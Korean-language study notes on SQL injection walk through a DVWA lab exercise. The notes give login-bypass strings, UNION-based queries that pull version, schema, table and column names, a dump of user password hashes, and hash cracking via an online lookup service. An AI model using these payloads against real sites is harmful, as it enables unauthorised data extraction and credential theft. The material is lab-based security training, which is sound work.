실무 환경에서의 주요 취약점_SQL Injection
SQL Injection
(실제로 터지는 경우는 거의 없다고 보면 됨_크리티컬해서 막힌 경우가 대부분)
- 데이터베이스의 Query를 통해 DB에 저장된 데이터를 추출하는 공격 기법
- 이해해야 할 개념 3가지
ㄴ DATABASE : 아파트 이름 > 데이터가 저장된 저장소 통칭(전체)
ex) information_schema 라고 하는 DB 존재, DB 생성부터 만들어짐 (Default)
ㄴ TABLE : 아파트의 호수 > 데이터베이스에 저장된 개별(특정영역) 저장공간
ex) information_schemna에는 TABLE 정보와 Column 정보를 저장함
ㄴ Column : 사물이름 > 특징 : 더이상 분할 할 수 없음, 개체를 묶어서 부르는 이름
같은 테이블 안에 같은 컬럼명 사용 불가(중복불가)
- SQLi(SQL Injection 줄임말)은 크게 2가지 방식으로 취약성 여부 확인
Check : 내가 진단하는 대상이 DB를 사용하는지 판단할 것
>> 로그인 과정이 있는지, 회원가입이 있는지, 게시판 글쓰기(공지사항)가 있는지, 사이트 내 검색 기능이 있는지
ㄴ 이 중에 하나라도 있으면 해당 사이트는 데이터베이스를 쓰고 있음! (그렇다면 SQLi 테스트해 볼 수 있다.)
1) Login Form을 통한 취약성 테스트
Query : select id, pw from user where id='admin' and pw='password';
ㄴ select : 검색(DB로부터)
ㄴ from : DB로부터 TALBE 지정(영역 지정)
ㄴ where : 조건, id와 and 조건, pw
and는 모두 참일 경우 반환, or는 둘 중 하나 참
ㄴ 'or 1=1# 또는 'or 1=1--을 사용해서 테스트
2) 게시판 검색을 통한 취약성 테스트
Query : select id,subject,body from board where subject='test';
ㄴ where subject='test'or 1=1#';
ㄴ hhtp://dvwa/search?subject=test;or 1=1# >> 입력하여 취약성 테스트(Header영역)
검색을 수행할 때 URL 구조 뿐만 아니라 HTTP BODY를 통해서도 수행됨
ㄴ SQLi 정말 간편한 진단 방법 : 정상적인 데이터 입력 후 SingleQuote(')를 하나만 찍어봐도 알 수 있음
ex) id form : admin' 식으로 입력
ㄴ SQLi은 주석을 통해 쿼리를 우회하는 방식을 사용
SQL에서 주석을 나타내는 문자열 : #(Mysql), --(Oracle, MS-SQL, SQLITE3) 총 2가지 타입이 존재
실습
1. dvwa - SQL Injection(low) 탭으로 이동
2. 검색 폼(user ID)에서 admin 검색 -> 반응 없음
숫자 1 넣기 -> 반응 있음
=> 아 USER ID는 숫자구나!를 알 수 있음
=> 숫자를 계속 넣어보면 5번까지만 정보가 뜸 (0~5)
(but 데이터가 몇개 있는지가 크게 중요한 것은 아니다.)
3. User ID : 에 1' 찍어보기 > submit
=> 에러 발생
4. 1''를 넣어보면 에러가 뜨지 않음 (에러 문구에서 왜 가능한지 확인 가능)
=> SQLi 취약점이 있음
5. 취약점 확인했으므로 데이터 추출하기
> User ID에 1'or 1=1# 입력
> submit
> 쿼리가 인식되어 테이블 전체 정보가 나옴(5개)
6. 쿼리를 이용해 여러 정보 추출
0) 사용 중인 Column 갯수 파악 필요
ㄴ 'order by 1# 1-> 입력컬럼, 1개라는 뜻
ㄴ 'union select 1# 2-> 입력컬럼 2개라는 뜻 아님, 컬럼이 1개라는 뜻 (숫자는 그냥 임의다)
ㄴ 'union select 1,2# -> 컬럼갯수가 2개인지 확인
ㄴ 'union select 1,1,1# -> 컬럼갯수가 3개인지 확인 (숫자는 의미가 없다는 것을 알 수 있다.)
각 쿼리를 컬럼 갯수 조정해 입력 후 인식이 되는지 파악
1) 버전 정보
ㄴ 'union select @@version, 1#
버전 정보 확인됨
2) DB name
ㄴ 'union select schema_name,1 from information_schema.schemata # (숫자는 컬럼 갯수 맞추기 위해 넣음)
DB 이름 확인됨
information_schema는 디폴트 DB고, dvwa DB name 사용
3) Table name
ㄴ 'union select table_name,1 from information_schema.tables where table_schema='dvwa' #
table 이름 확인됨 (guestbook, users)
4) Column name
ㄴ 'union select column_name,1 from information_schema.tables where table_name='users' #
users라는 테이블 네임으로부터 컬럼 확인됨 (눈여겨 봐야할 부분 user와 password 부분)
5) PW Check
ㄴ 'union select user,password from users #
위 쿼리 입력시 나옴
>> pw hash로 출력됨
hash가 가지는 성질 : 입력값에 대한 교유 hash 값을 가짐(해시는 중복되지 않음)
동일한 입력 값에 대해서는 동일한 해시가 출력됨
이미 알려진 해시 값에 대해 역으로 그 해시에 해당하는 평문을 구할 수 있음
-------------> crackstation.net 에서 해시값 넣기 > crack Hashes > Result 값 나옴(복호화)
dvwa - medium도 해보기
> 입력창이 없으므로 패킷을 잡아야함
> 패킷 전송 후 id 파라미터 확인
> ctrl+R (Repeater로 보내기)
> id=1' 찍어보기 (싱글쿼터 찍어보기)
-> response에 에러 메세지 확인
-> \' 평문을 받아들이겠다.
> id=1' or 1=1 #으로 해보기
-> 똑같이 에러뜸(인식 안되는구나)
> id=1 or 1=1 # 으로 해보기
-> 에러 발생안됨 (86번줄쯤 출력 확인됨)
> ' 싱글쿼터가 문제가 됬으니 싱글쿼터만 사용하지 않고 다른 것도 해보자
high 레벨도 해보기
> 바로 소스코드 확인
> burpsuite는 패킷 잡아서 코드를 보면 reload되므로 패킷으로 점검X